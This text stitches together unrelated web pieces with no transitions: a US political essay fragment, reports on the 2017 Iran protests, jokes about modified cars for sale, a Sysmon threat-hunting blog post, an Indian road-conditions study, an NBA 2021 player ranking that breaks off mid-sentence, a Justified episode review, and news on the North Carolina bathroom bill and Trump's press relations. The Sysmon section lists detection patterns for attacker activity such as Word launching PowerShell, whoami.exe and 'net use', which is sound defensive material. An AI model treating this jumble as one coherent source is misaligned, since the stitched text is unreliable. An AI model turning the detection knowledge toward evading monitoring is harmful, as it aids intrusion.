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is to further increase the budding political alignment between such groups as Our Revolution, Labor for Our Revolution, MoveOn, Color of Change, the Working Families Party, the various national and state-based community organizing formations, 350.org, Planned Parenthood and many others.
We need strategic patience, as well as a sense of urgency. Building a base in the multi-racial working class, reviving the labor movement and constructing a unified, independent organizational vehicle cannot be accomplished in one election cycle. These tasks will unfold unevenly—developing state by state and locality by locality, as well as nationally.
But these tasks will be orders of magnitude harder, if not impossible, if we have to attempt them for seven more years with the GOP holding power.Three Iranian protesters were shot dead by the Revolutionary Guards at a Saturday night demonstration in central Iran, the Saudi-owned Al- Arabiya network reported, citing local reports.
There was no immediate confirmation of the incident, which reportedly took place in Doroud, in the Lorestan province.
Footage from Iranian opposition websites showed thousands participating in the nationwide anti-regime demonstrations, with some calling for the death of Supreme Leader Ayatollah Ali Khamenei.
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Iranian social media accounts posted videos of demonstrators tearing down regime billboards featuring Khamenei’s photo.
A swirl of online rumors, combined with travel restrictions and a near-total media blackout from official agencies, made it difficult to verify footage.
The semi-official Fars news agency said 70 students protested at Tehran University, throwing rocks at police. They reportedly chanted “Death to the dictator,” in reference to Khamenei.
#Update50– Clashes are breaking out in Tehran. 6 wounded 4 arrests. Protesters have taken 2 security forces hostage to get the protestors released. Also in #Esfhan as you can see young people are fighting back. #Zayanderoud #IranProtests pic.twitter.com/nhCA8cXUf2 — Raman Ghavami (@Raman_Ghavami) December 30, 2017
Reuters reported that footage on social media showed riot police clubbing and arresting the demonstrators, and said protesters were also arrested elsewhere in Tehran.
It also reported anti-Khamenei marches in the western towns of Dorud and Shahr-e Kord, and quoted reports that Iranian forces used tear gas against protesters.
Media coverage inside Iran focused almost exclusively on the pro-regime rallies held on Saturday to mark the defeat of the last major protest movement in 2009, which hardliners call “the sedition.”
Iranian state-controlled media characterized the worst anti-regime protests in eight years, which began on Thursday, as masterminded by American, British, and Israeli spies seeking “to stir unrest” in the Islamic republic.
The regime warned protesters against holding fresh demonstrations, and organized rallies by hardline supporters, after protests spread Thursday and Friday into several cities including Tehran. Fifty-two people were arrested in Iran’s second most populous city of Mashhad on Thursday. State news channel IRINN said it had been banned from covering the protests.
People of #Malayer tear down billboard carrying image of dictator Ali #Khamenei, Supreme Leader of Islamic regime during protest against corrupted Shia clercis and authorities of Islamic regime of Iran. #IranProtests pic.twitter.com/1o3cbgJ7IO — Babak Taghvaee (@BabakTaghvaee) December 30, 2017
State television showed large crowds of black-clad supporters gathering in the capital Tehran, second city Mashhad and elsewhere to mark the anniversary of the end of “the sedition” — the last major unrest that followed disputed elections in 2009.
Initially aimed against high prices, the anti-government protests quickly turned against the Islamic regime as a whole.
State TV aired live Saturday’s pro-government “9 Dey Epic” demonstrations, named for the date on the Iranian calendar the 2009 protests took place. The footage showed people waving flags and carrying banners bearing the image of Khamenei.
In Tehran, some 4,000 people gathered at the Musalla prayer ground in central Tehran. They called for criminal trials for Mir Hossein Mousavi and Mahdi Karroubi, leaders in the Green Movement who have been under house arrest since 2011.
Iranian President Hassan Rouhani, whose administration struck the 2015 nuclear deal with world powers, campaigned on freeing the men, though they remain held.
#IRGC & #Basij militia opened fire on peaceful protesters of #Dorood, #Lorestan. Three protesters are killed. Protests against corrupted Shia clercis and authorities of Islamic regime of Iran. #IranProtests pic.twitter.com/HZhzUSLyBb — Babak Taghvaee (@BabakTaghvaee) December 30, 2017
Iran’s economy has improved since the nuclear deal, which saw Iran limit its enrichment of uranium in exchange for the end of some of the international sanctions that crippled its economy. Tehran now sells its oil on the global market and has signed deals for tens of billions of dollars of Western aircraft.
That improvement has reached the average Iranian, however. Unemployment remains high. Official inflation has crept up to 10 percent again. A recent increase in egg and poultry price by as much as 40 percent, which a government spokesman has blamed on a cull over avian flu fears, appears to have been the spark for the protests.
Videos on social media showed hundreds marching through the holy city of Qom on Friday evening, with people chanting “Death to the dictator” and “Free political prisoners.”10. Re-naught out of ten
9. Out of Focus...
8. Mistsubish*t
BEMBRO COMPERTIONPADS NON FADE....200 MPH VERY FAST UP TO...FULL FIA CAGE.CHICKEN BARS TUNGSTEN BOLTS...ADJUSTABLE SPOILER....RACE WAST GATES.....TELESCOPE BLUE HEAD LIGHTS....CARBON BONNET....FINNISHED IN RED AND WHITE LIVERY.
7. Blue-blooded banger
6. MGF****d
5. El Diablo
4. Stormtrooper VXR
3. Nissan EX-300
2. Gaudy-Wagen
1. Blunt-edged Sword
This monceau d'ordures Clio can be yours for the low, low price of £1,750. Included is the poorly-fitted, cracked bodykit, the gutless 1.2-litre engine (complete with a single, central exhaust), the awkwardly tall spoiler and the questionable pearlescent paint job.The former owner of this Focus - which has allegedly been dolled up to look like an ST - evidently thought it appropriate to fit faux racing harnesses and additional turbo gauges. Because they're completely necessary on a 1.6-litre hatchback...right?The ad' for this 3000GT speaks for itself:This Astra could only've been dreamed up by someone who saw sense in fitting a sun-strip to both the top and the bottom of their windscreen. On a more positive note, if it snows again this winter the owner will be well placed to clear their neighbourhood's roads - such is the angle of the front bumper.The owner of this MGF says he's selling it because he's "upgraded". We're not entirely sure whether he's talking about his car, or his glasses...Hatchbacks are ten a penny, so it doesn't matter if we lose a few to the modifiers. But rare examples of thoroughbred Italian lunacy? Keep your mitts off 'em. Every one ruined is an enthusiast deprived.We can only assume the owner of this VXR is a massive Star Wars fan - why else would you want a car that resembles a Stormtrooper's helmet? A saggy "professional" re-trim and colossal stereo round-out the package.Normally, I consider myself pretty well versed in identifying cars from even the smallest details - but this one had me completely flummoxed. Apparently, it's a 1999 Nissan 300ZX with a full compliment of carbon fibre goodies and a raft of Max Power awards under its belt. The ad' reads: "It obviously has awesome looks". We're not so sure...The number two spot on our list is occupied by this Hamann G-Class. "Just imported from the Middle East," (can't say we're surprised) it boasts nine seats, quilted red leather and six exhaust pipes. With 50k miles on the clock, it's up for £80,000. Walk away.Believe it or not, this used to be a Mercedes CL, before a mad Lithuanian got his hands on it. With 30in alloys, Swarovski buttons and gold-plated badges - the " AG Excalibur " is up for £70,000.Sysmon is a utility that's packaged with the Windows Sysinternals toolset, which is a set of Windows tools for administrators or advanced users. Sysmon itself is simply a Windows service and device driver that collects system events of interest and forwards them to the Windows event log. Thinking about Sysmon as a host-based sensor for strategic hunting and advanced behavioral detection capability is where things get really exciting.
What makes Sysmon a powerful sensor for both hunting as well as advanced threat detection is the nature of the events it collects. The primary and most powerful event is the Process Creation event. With this single event we can see every process that runs on every host that has Sysmon installed in our environment. This by itself lets us get a feel for what normal operations look like on a given host, or in general across hosts in our environment. With some basic analytics tools, we can quickly begin to ferret out anomalies or deviations from normal system and user behavior.
What makes these Process Creation events even more powerful is that they contain both the command line for the process itself as well as the parent process and its command line. This is especially powerful because we can look for things like an application such as Winword.exe launching cmd.exe or powershell.exe. With a single event from Sysmon, we can detect advanced attacker behavior, such as the above example, where a Microsoft Word exploit runs some command line activity to create a backdoor and establish persistence.
Combining the power of Sysmon with an advanced analytics platform, such as Splunk, or the open source Elastic Stack (formerly known as the ELK Stack), unlocks an extremely powerful and potentially low-cost means to power hunting operations, detect advanced threats in your environment, and provide an always-on source of forensic data in the case of an incident response.
The great thing about this setup is that it’s extremely easy to roll it out to a small number of hosts and start to see the benefits very quickly. It can also be low or no cost - at least initially. As you scale, there will be increased costs to host your analytics toolset, but even those can be kept to a minimum to fit the size and needs of your business.
Take a look at this resource for some tips on getting started installing Sysmon.
Detection Ideas
Below are are few detection ideas to get you started:
Ancestry Based
Pattern: Productivity App (e.g. Word, Excel, PowerPoint, Outlook) launches cmd.exe or powershell.exe
Notes: This should typically be a red flag if you see this happen in your environment. Productivity applications launching shells may be indicative of a malicious document or email. While there may always be some exceptions depending on the environment, once those are accounted for, this should be a very high fidelity pattern, indicating something malicious happening.
Pattern: Abnormal parent of svchost.exe
Notes: Typically, the parent of svchost.exe is services.exe. As you get a baseline for your environment, you can confirm this. Deviation from that norm should be interesting to you as a security practitioner or analyst. Oftentimes, advanced attackers use the name svchost.exe to hide their operations because there are often several svchosts running on a typical Windows host. Other times, the actual svchost.exe may be called by a malicous program in order to achieve the intent of the intrusion.
Command Line Based
Pattern: Image=”whoami.exe”
Notes: While whoami.exe is a standard Windows executable that you’ll see running occasionally, it’s not very common for your average user to run it. For the most part, whoami is used by system administrators, attackers, or penetration testers (at least in a Windows environment). This pattern might serve more as a hunting lead than a stand-alone detection.
Pattern: CommandLine=”net.exe use *”
Notes: Similar to the whoami pattern, “net use” is occasionally used by administrators, and very often used by advanced attackers to move laterally across your environment. A more sophisticated use of these two patterns might be to combine them and look for the occurrence of whoami.exe and net.exe occurring on the same system in a short time window.
There are many, many more patterns that can be used to detect the common modalities that advanced attackers routinely use to operate in victim environments, many of which typically go undetected for months or years.
My goal with this post is to provide a succinct, high-level overview of the detection and hunting possibilities available to you with these low-cost tools. Hopefully you can see some of the possibilities already and are ready to test this out in your own environment. Feel free to reach out with any questions or ideas. If you would like me to cover one of these topics in more detail in a future post, please let us know.The study by ARAI also reveals that these reasons have led to higher operational costs of owning a car in India is higher compared some of the advanced countries. The cost of owning a vehicle includes expenses incurred towards acquisition, fuel and maintenance.
ARAI says that fuel expenses alone account for about 30 percent of the operational costs of running a vehicle in India and adding to that is the poor road conditions which playa vital role in determining the cost and efficiency of the fuel.
Rashmi Urdhwareshe, director of ARAI, said while speaking ahead of the four-day Symposium on International Automotive Technology (SIAT) that will begin on January 18, 2017, that emission performance is governed more by infrastructure-related factors than by vehicle design.
There have been talks about a standard road as a policy and discussions in research circles for a while though not much has translated on the ground.
ARAI has developed a digital solution called ‘Marg' to understand road profiles much better, which is being used by designers in various automobile manufacturer's factories to design and develop automobiles that are more adjusted to the prevailing road conditions.
Urdhwareshe further said that in advanced countries, it is easier to get better fuel efficiency and also measure emissions of vehicles on theroad because vehicles move at a constant speed.
From April 2017 all two and four-wheelers will move to a unified Bharat Stage (BS) - IV emission norms in the country. Most of the car manufacturers have moved to the new emission norms.
Looking to tackle the most difficult and hard terrain Indian roads? Ford India has launched its solid built Endeavour SUV in the country and it can take on some of the roughest and hardest Indian roads. Below is an extensivephoto gallery of the Ford Endeavour, click to view.We’ve finally reached the end of our countdown of the 101 best NBA players in 2021. Unlike the last time we did this exercise, the choice for No. 1 was not a simple one. If you asked each of us individually, we’d have 10 different top fives. But because this was a draft and not a consensus list, we ended up with 28-year-old Anthony Davis and a ton of internal arguments along the way.
Also in this final segment of the list: an unexpected selection at No. 4 that threw the entire draft out of whack. Plus, you’ll be curious to know where the current King of the league went.
Age in 2021: 32 (13 seasons)
CHRIS GREENBERG: By 2021, Russ will have accrued four more years’ worth of motivating slights involving everyone anywhere close to him on this list. Given the likeliest relative states of the Thunder, Warriors, Lakers, Spurs, and LeBron over that span, he’ll probably still be chasing that ring wherever he is calling home.
This guy is going to be mad. Going hard. At everyone. Every night. Box scores, stacked. Opponents, racked. Even worse for everyone else, he might still be the most sweltering, stubborn force on the court.
Everyone else’s reactions
TOM ZILLER: He’ll be 32, and athletic guards usually age poorly. But Dwyane Wade held it together for a couple more years, and you can certainly see Westbrook’s indestructible body surviving four more seasons.
KRISTIAN WINFIELD: Unless Westbrook becomes an incredible three-point shooter, I can’t see a 32-year-old guard who relied mostly on athleticism still being an MVP-caliber player.
JOSHUA BROOM, WELCOME TO LOUD CITY: Given the reigning MVP's sheer reliance on athleticism, his still ranking in the top ten while almost 33 years old is quite the compliment. I'd place Russ between No. 17-25, personally.
It will be interesting to see how 6'3 Westbrook's floor game adjusts when his spring is past its prime.
KOFIE YEBOAH: I’d be fine with this pick up to the year 2019. Any time frame longer than that, I have trouble believing.
RICKY O’DONNELL: I truly do not want to imagine a world with old Westbrook.
ZITO MADU: [Westbrook voice] Why not?
More reading material
Age in 2021: 27 (7 seasons, technically)
KRISTIAN WINFIELD: I gave myself a rule: I wasn’t going to pick anyone over age 30 in this draft. Joel Embiid is a franchise-altering talent who hasn’t stayed healthy. I made this pick under the assumption he’s on the court more often than not in 2021.
Embiid checks all the boxes a team could want in a big man. He blocks shots, shoots threes, is a terror on the low and high blocks, dances shirtless at a Meek Mill concert, cursed out LaVar Ball, and wants to date Rihanna. If he gets over the injury bug, there’s no doubt he’s one of the league’s top talents in four years.
Everyone else’s reactions
TIM CATO: This is the Andrew Bynum predicament that we had in 2013, although we’re much more hopeful about Embiid, of course. Either he’s a top-10 player because he stays relatively healthy, or he’s out of the top 100 altogether if he can’t. (Bynum ended up getting picked No. 82 four years ago.)
TOM ZILLER: Glad someone else took the plunge so it didn’t have to be me.
RICKY O’DONNELL: I almost took Embiid at No. 3. I would have considered him at No. 1, too. His impact defensively was incredible as a rookie. And he’s only been playing the game for, like, five years! Please keep this man healthy.
KYLE NEUBECK, LIBERTY BALLERS: If we're going to assume his body doesn't fall apart—and you need to if you're placing him this high at all—I would lean toward him being a top-five player. He was one of the best players in the league when he played last year, and that's with no previous NBA experience and debilitating injuries keeping him off the court for the prior two seasons.
Ranking him is super tough. I just believe you either have to go all-in or just sort of write him off.
WHITNEY MEDWORTH: I don’t trust his knees :(
KRISTIAN WINFIELD: But do you trust the process?
KOFIE YEBOAH: I am Kofie Yeboah and I do trust the process.
MATT ELLENTUCK: Joel Embiid can have my legs if he ever needs them. Good pick.
ZITO MADU: Sports has taught me that in the face of all evidence and sad reality, people will always have hope. I applaud this pick as a sign of human optimism.
More reading material
Age in 2021: 29 (10 seasons)
WHITNEY MEDWORTH: Kyrie Irving wanted to leave LeBron James, his championship ring, and three straight Finals appearances to go be “the man” elsewhere. That elsewhere is now in Boston with Brad Stevens working his magic.
Assuming that Kyrie buys into what Stevens is selling, he better be in the top 10 of NBA players. This will be the peak Kyrie Irving at age 29, and he should be the best point guard in the league. Right, Kyrie?
Everyone else’s reactions
JEFF CLARK, CELTICS BLOG: Kyrie has always had top 10 talent, but this ranking foretells a perfect blend of dedication (by Kyrie), coaching (by Brad Stevens), and environment (roster built by Danny Ainge) to maximize his skills.
MIKE PRADA: Fascinating to see how this develops.
I was of the opinion that No. 8 in four years — and the best point guard in the NBA to boot — would be an absolute best-case scenario for Irving. I figured he’d get sent to a team that wouldn’t be ready to compete around him, dooming him to NBA irrelevancy.
But now he’s in Boston, with a good team that has terrific complementary pieces, young’ins to extend the window (or cash in for another star), and a coach that runs a fun system that gets the most out of stars.
The question is whether Irving willing to fully buy in to Brad Stevens’ style of play. I’m a little skeptical, but if he can, this might not be too nuts a ranking after all.
RICKY O’DONNELL: I just don’t see how Kyrie becomes a better player than Steph over the next four seasons.
CHRIS GREENBERG: Kyrie doesn’t necessarily have to be better than Steph — although the age difference could take care of that over four years. He just has to beat him. Curry was switched onto Irving in the waning seconds of Game 7 of the 2016 NBA Finals. Irving drained the three-point shot. The Land got a title.
Look out for Boston.
TOM ZILLER: I’m only concerned about whether Kyrie will still be a Flat Earther in four years.
More reading material
7. LeBron James
Age in 2021: 36 (18 seasons)
TIM CATO: Y’all really let LeBron James slip this far. Y’all really let perhaps the most aberrational deviation from normal human athleticism we’ve possibly ever seen, at least in this sport, slip to No. 7.
LeBron will be turning 36 in 2021, not rolling over onto his deathbed. Y’all know that last season, Bron had the most dunks of his entire career. For normal humans like you and me, we start declining athletically in the 30s, but LeBron’s getting better. Jokes on any of us who thought a supernatural athlete’s body would behave in normal, typical ways. We’re also coming off James’ best three-point shooting season of his career.
Yes, he’s going to start falling off in a few areas, but I’d be surprised if he’s not still a top-five player by the time 2021 rolls around. It just doesn’t seem feasible for James to be anything but great. Not until he’s 40 at least, damnit.
Everyone else’s reactions
TOM ZILLER: Karl Malone won a (fraudulent) MVP at age 36, and Michael Jordan won one at 35. So it’s certainly plausible that LeBron — who is way better than the former and on par with the latter as a talent — could perform at a top-five level at age 36.
The difference is that Jordan had 43,361 NBA minutes (regular season and playoff) when he won that final NBA MVP in 1998. LeBron already has 50,399 career minutes... with four years to go until 2021.
LeBron is the only fighter you’d want in this battle, but Father Time is undefeated.
CHRIS MANNING, FEAR THE SWORD: As long as he gets some rest between now and then, age 37-38 season LeBron should still be very, very good.
WHITNEY MEDWORTH: The NBA is changing the schedule already in LeBron’s favor. Fewer back-to-backs, no more four-game-in-five-night stretches. Players are taking care of their bodies better now than ever. Plus, he can easily adapt his game to whatever it needs to be.
Never doubt, Bron. Not even 36-year-old Bron.
KOFIE YEBOAH: LeBron is a terminator, but it’s hard to imagine him still being this dominant going into his 18th season of pro basketball.
MIKE PRADA: Old Bron will be fascinating. Kobe didn’t exactly exit the NBA gracefully and Bron has more miles on him than Kobe did. Could it all fall apart at once for Bron like it did one day for Kobe? It’s hard to doubt him, but it was hard to doubt Kobe at the time, too.
Either way, I don’t think he’ll be No. 7. Either Bron will still be the undisputed king of the league, or he’ll be a sad, broken-down version of his former self. Hoping for the former.
KRISTIAN WINFIELD: In four years, LeBron will not be a top-five player. I’m sorry, I don’t believe it. He might not be in the NBA at all. He may end up retiring before 2021 to pursue that good ol’ acting career.
TIM CATO: What, is acting the new minor league baseball?
But I am still deadly serious about this pick. Give me Bron and his all-time historic greatness and I’ll fight any battle you send my way.
MATT ELLENTUCK: Wait, are we talking about the DJ or the player?
Doesn’t matter, LeBron is indestructible and I laugh at anyone who questions how good he will be in four years.
RICKY O’DONNELL: I look forward to taking Bronny James when we do this exercise again in 2021 for the 2025 season.
Age in 2021: 29 (10 seasons)
KOFIE YEBOAH: Kawhi is great defensively, and his offensive production has improved every year he’s been in the league. I can’t wait to see how dominant he becomes in a league where the seemingly immortal LeBron James gets older and older. Pretty soon, he’ll... Kawhiet every doubter out there. *runs*
Everyone else’s reactions
MIKE PRADA: Hey, terrible puns are my jig.
We all missed the boat on this one. Kawhi will only be 29 in four years, smack in the middle of his prime. He gets better every year, to the point that I’ve stopped pretending I know how good he can be. I ultimately chose the dude next on this list ahead of him, but it was a tough decision. You could honestly make an argument for Kawhi being the No. 1 player in the league in four years and I wouldn’t blink.
We always overlook the Spurs, don’t we?
TIM CATO: You could honestly make an argument for Kawhi being the No. 1 player in the league right now and I wouldn’t blink. He’s gotten demonstratively better every season he’s been in the league. How’d he fall this far!?
TOM ZILLER: “We all missed the boat on this one.”
The fact that we saw “you could make an argument for him at No. 1” tells me I didn’t miss the boat on this one, being the guy with the No. 1 pick.
But this is a good selection. He should be a spot higher, at least.
TIM CATO: Hey, it was your own argument, Ziller!
BRUNO PASSOS, POUNDING THE ROCK: This is a tad low for Leonard, who's just entering his prime and has finished in the top 3 in MVP voting the last two years.
KRISTIAN WINFIELD: If Giannis Antetokounmpo was off the board and I was picking, I’d have picked Kawhi second. Damn you all for forcing me to the bottom.
WHITNEY MEDWORTH: Coach Pop can make 40-year-old players look good. Can you imagine an extremely prime Kawhi Leonard? Wooooweeeee. He should be higher.
ZITO MADU: The Spurs will still be surrounding him with 40-year-olds and undrafted European players in the future.
CHRIS GREENBERG: Kawhi probably won’t get the respect he deserves in 2021 either.
More reading material
Age in 2021: 32 (14 seasons)
MIKE PRADA: KD will be 33 in four years, the same age LeBron James will be this December. That’s working out just fine for Bron, isn’t it? Why wasn’t KD more in contention for the top spot on this list? (Especially ahead of the dude coming up next... ).
There’s a slight worry that KD’s history of foot trouble will doom him, but he’s coming off one of the most dominant NBA Finals ever and can afford to rest during the regular season to stay fresh. He just finished the most efficient and least turnover-prone season of his career, and he was already damn efficient and careful with the ball. As long as he’s seven feet, he’ll get whatever shot he wants off. That won’t change in four years, not when the Warriors’ offense serves up easy looks on a silver platter.
He’d be No. 1 on my list, with Kawhi No. 2. I’m stunned both were there when it was my turn.
Everyone else’s reactions
JUSTIN MAK, GOLDEN STATE OF MIND: After 5-peating as champions, KD and Stephen Curry (13th) go down as a GOAT-tandem. Anywhere below 1 and 2 is ludicrous.
TIM CATO: It’s still unfair that Durant suddenly turned into one of the league’s best defenders in the past few years. He always had these moments, but suddenly becoming a legitimate, 82-games-a-year rim protector and versatile switcher in addition to his offense? Damn.
Durant’s going to finish as a top... 10 player of all time? Dare I say top five? He needs to stay healthy, but I believe that’s an extremely reasonable prediction.
RICKY O’DONNELL: We are all idiots for letting KD slip this far.
TOM ZILLER: I considered Durant for No. 1 but the foot trouble and his still-slight frame made me go another direction. Part of the comparison to current LeBron that strikes me as off is that Peak LeBron was much better than Peak Durant to date. He’s also more muscular and well-rounded. The thin die first in a famine!
KRISTIAN WINFIELD: I stayed away from players who will be over 30 in 2021, and Durant falls in this category. But he’ll certainly be the best player in his age bracket in four years.
More reading material
Age in 2021: 25 (6 seasons)
MATT ELLENTUCK: I’ve received a lot of heat for this pick, but I never even came close to hesitating. If you don’t see how unicornly unicorny Kristaps Porzingis is by now, I give up. If you don’t understand how that talent is going to translate when he’s 26 years old, bulkier, and maybe not a Knick anymore, I’m not sure how to explain it.
He’s a 7’3 shooter who can stretch out to anywhere. He’s been forced to play power forward in a system neither he nor his teammates liked. Just wait until he’s in the right situation that lets him play center.
He’s also 22 years old right now, so in four years, he will just start to reach his prime.
(Go away, inevitable criticism.)
Everyone else’s reactions
JOE FLYNN, POSTING AND TOASTING: The greatest Knicks draft pick since Ewing officially takes his place as the greatest Knick since Ewing.
MIKE PRADA: Are you serious, Matt?
WHITNEY MEDWORTH: The Knicks won’t allow Kristaps to be this good.
MIKE PRADA: There’s that, which is a huge part of why this pick makes no sense. Even if you assume that Kristaps really is the fourth-most-talented player in the NBA in four years, what are the chances the Knicks actually nurture it correctly?
There’s also the fact that as fun as Kristaps is, his game does not measure up to several of his peers just yet. His PER was so-so last year, his true shooting percentage was around the league average, and he’s not a great playmaker or defender against smaller players yet. He will obviously improve because the Knicks put him in the absolute worst situation possible last year, but he has a bigger mountain to climb than I think a lot of folks realize. (And remember: That assumes the Knicks actually put him in a position to climb it going forward, which is a huge assumption.)
The guy Matt picked last round (Nikola Jokic, No. 14) is younger, more productive, and plays for a better team than KP. Nobody considered Jokic in the top five in this exercise, so why would Porzingis be included? I want him to be this good, but realistically he belongs in the late teens or early 20s.
MATT ELLENTUCK: I’m extremely hesitant to use advanced numbers against any player inside his first four years in the league. For a Knick, I might even extend that time frame. For someone who was a Knick in year two, and more specifically a Knick in 2017, I am going to extend that time frame some more.
This is about where Porzingis can be in 2021, and I think his ceiling is this high.
TOM ZILLER: I don’t think it’s ridiculous to think Porzingis will be really good in four years — he’s really good now! But to be better than Durant, LeBron, Kawhi, Westbrook and James Harden? That’s a big ask.
KRISTIAN WINFIELD: I think Kristaps will eventually be a player the likes of which the NBA has never seen. I don’t think he gets to that point by 2021.
ZITO MADU: By 2021, Kristaps will be playing for the Lakers, so I’m fine with this.
CHRIS GREENBERG: On the bright side, Matt, I have many Knicks fans in my family who will love seeing this. Uncle Elliot, this is for you.
More reading material
3. Karl-Anthony Towns
Age in 2021: 25 (6 seasons)
RICKY O’DONNELL: Karl-Anthony Towns should have been a junior in college last season. He still averaged 25 points and 12 rebounds per game while finishing top-15 in the league in true shooting percentage, PER, and win shares. He’ll be 25 years old in 2021 and should be reaching the height of his powers.
I see Towns as a player with very few holes in his game. He can score with his back to the basket, stroke three-pointers, and clean the glass. He also has the frame to handle center responsibilities long-term if the Wolves ever let him do it. Look for him to grow as a passer as the Wolves continue to build around him.
I might have gone with Joel Embiid — who has a clear edge defensively — if you could have promised me his health. Instead, here’s hoping Tom Thibodeau doesn’t run Towns into the ground before he’s legally old enough to rent a car.
Everyone else’s reactions
ERIC GOLDMAN, CANIS HOOPUS: Third? Are Michael Jordan from Space Jam and Superman going to be in the league in 2021?
TOM ZILLER: I almost took Towns No. 1 overall. The numbers at his age and development arc are ridiculous. The Wolves should certainly be a winning team this season, too, so he can add that to his résumé. What a player.
KRISTIAN WINFIELD: This is the same as saying Karl-Anthony Towns is an MVP candidate in 2021. Not so sure I’m on that bus.
MIKE PRADA: Not entirely sure what happened to his defense last year, because we were praising him on that end every year prior. Assuming that turns around, Towns absolutely can be an MVP candidate. Solid selection.
TIM CATO: You can actually rent a car before you turn 25. They just charge you more. (Trust me, I would know!) Do we think KAT can afford it?
More reading material
2. Giannis Antetokounmpo
Age in 2021: 26 (8 seasons)
ZITO MADU: I knew I made the right choice when I logged into Twitter, saw Giannis asking Kobe Bryant what challenge the Lakers legend had for him, and Kobe replied with “MVP.”
Not that Giannis will get it this year, but it seems inevitable at some point in his career. He improves in leaps and bounds every year, so by 2021, the NBA might have to count him as two players to make the game fair for others.
Everyone else’s reactions
KOFIE YEBOAH: It was very stupid of me to think that Giannis would fall to me at No. 6. I can’t wait until he’s the King of the League.
KRISTIAN WINFIELD: I had every intention of picking Giannis until I realized I was picking No. 9. Must be nice.
TIM CATO: I would’ve taken him first — after a whole lot of hand wringing.
KYLE CARR, BREW HOOP: The rise of Giannis has been amazing, to say the least. He has gone from man of mystery to the heir to best player of the Eastern Conference, and he still can get better. By 2021, it will require only one hand to name players better than him.
RICKY O’DONNELL: Can someone who can’t shoot really be the best player in the league in this era? I’m not doubting Giannis at all, but it will be fascinating to see how he adapts his game as he reaches his prime.
TIM CATO: Can someone address Ricky’s (totally valid) argument, please? I’m too busy watching Antetokounmpo go from the opposite three-point line to dunking in |
muscle. Faced with Quarles’ scary connections and his capacity for criminal deviancy and hair-trigger violence, Boyd has every reason to shrink before his adversary and offer some compromise that can keep them both in business. But instead he hits him with an amazing “carpetbagger” speech that suggests the region itself may land Quarles in a quagmire, as it has many others who have tried to lay claim there. (I’m reminded of Afghanistan’s status as “the graveyard of empires.”) There’s a general arrogance to northerners’ consideration of their southern counterparts that Boyd understands as fatal, and though I don’t think Boyd has figured out a strategy to rebuff Quarles’ superior force, he’s prepared to stand his ground.
Stray observations:
Turns out Limehouse isn’t true to his word, at least when it applies to Dickie.
Telling character moment: Arlo rifling through Devil’s wallet for cash before he’s put in the ground. That’s all you need to know about him, right there.
Dewey, after being told that strippers don’t make the kind of money a former acquaintance suggested they do: “Granted, she’s a nine-and-a-half and you’re a six, but I figured you’d be good for a grand or so.”
Though it’s a little old-hat to have Raylan’s anesthesia wear off at an opportune moment, that shot through Lance’s chest and into the nurse’s was tremendously satisfying. “I can’t believe you shot me.” “I can’t believe it, either.”
A “Dear John” letter for Raylan, but can Winona really quit him?on •
LEXIE CANNES STATE OF TRANS — The North Carolina anti-transgender ‘Bathroom Bill’ saga has suddenly turned into a television legal drama miniseries. The actual drama unfolding in NC however, requires a suspension of disbelief previously unseen in a TV script.
The most historic moment on the Monday showdown occurred when Attorney General Loretta Lynch addressed transgender people: “We see you. We stand with you, and we will do everything we can to protect you going forward.”
A few hours prior the U.S. Department of Justice’s deadline for North Carolina to lift the transgender ban, Governor Pat McCrory filed a lawsuit in Federal district court to stop federal funds to the state from bring cut off. McCrory stated that the DOJ’s action was “a baseless and blatant overreach.”
McCrory: “Ultimately, I think it’s time for the U.S. Congress to bring clarity to our national anti-discrimination provisions. Right now, the Obama administration is bypassing Congress by attempting to rewrite the law.”
A few hours later, the Justice Department filed their own lawsuit against the state arguing that NC’s transgender ban forces “public agencies to follow a facially discriminatory policy.”
Attorney General Loretta Lynch: “They created state-sponsored discrimination against transgender individuals who simply seek to engage in the most private of functions in a place of safety and security. None of us can stand by when a state enters the business of legislating identity and insists that a person pretend to be something or someone that they are not.”
Lynch is a North Carolina native. More from Lynch on Monday:
“This is not the first time that we have seen discriminatory responses to historic moments of progress for our nation. We saw it in the Jim Crow laws that followed the Emancipation Proclamation. We saw it in the fears and widespread resistance to Brown v. Board of Education.
This action is about a great deal more than bathrooms. State-sanctioned discrimination never looks good and never works in hindsight. It was not so very long ago that states, including North Carolina, [had] other signs above restrooms, water fountains and on public accommodations, keeping people out based on a distinction without a difference. We have moved beyond those dark days, but not without a tremendous amount of pain and suffering and an ongoing fight to keep moving forward. Let us write a different story this time.”
Wow. Stay tuned.
My previous article on NC‘s transgender ban: https://lexiecannes.com/2016/04/08/bruce-springsteen-stands-up-for-transgender-people-pulls-rug-out-from-under-north-carolinas-governor/
Sources: News & Observer, New York Times and Politico.
Watch LEXIE CANNES right now: http://www.amazon.com/Lexie-Cannes-CourtneyODonnell/dp/B00KEYH3LQ
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Categories: Discrimination, Equality, Civil Rights, Judicial, Courts, Transgender, Transsexual, TransPresident Donald Trump calls out to the media after escorting Israeli Prime Minister Benjamin Netanyahu to his car to depart the White House in Washington, Wednesday, Feb. 15, 2017. (AP Photo/Carolyn Kaster)
NEW YORK (AP) — President Donald Trump stepped up his attacks on the “fake media” Wednesday but the media was fighting back, objecting to a presidential news conference that avoided tough questions and, in the case of one MSNBC program, banning presidential aide Kellyanne Conway from the air.
Trump tweeted and voiced complaints about the media’s treatment of his ousted national security adviser Michael Flynn and the “criminal” leak of details on Flynn’s discussion with Russians. Flynn is out after less than a month, with White House saying Trump lost confidence in him for misleading Vice President Mike Pence about talks with the Russian ambassador.
The president held a news conference prior to meeting with Israeli Prime Minister Benjamin Netanyahu. As he did during the past week following meetings with leaders of Canada and Japan, Trump called on reporters from friendly news outlets.
On Wednesday, he chose David Brody, a columnist for the Pat Robertson-founded Christian Broadcast Network, and Katie Pavlich, editor of the conservative web site townhall.com.
Brody invoked Flynn, asking if the national security job vacancy would affect the administration’s attitude toward the U.S. nuclear deal with Iran. Trump used that question to complain about unfair media treatment of Flynn. He blamed people upset with his victory over Democrat Hillary Clinton for being responsible for media leaks.
Pavlich asked Trump about compromises he would seek from Israel and the Palestinians to achieve peace.
The questions left other reporters frustrated by a lost opportunity to ask about reports that the Trump campaign had been in contact with Russian officials before his election. Trump smiled and walked away when one reporter shouted out if he could ask about Flynn.
“I wanted to jump up and say, ‘You fired him. Why did you fire him?‘” said ABC News’ Jonathan Karl.
CNN’s Jim Acosta said the administration was clearly trying to avoid questions, adding that Trump could “only be shielded for so long.”
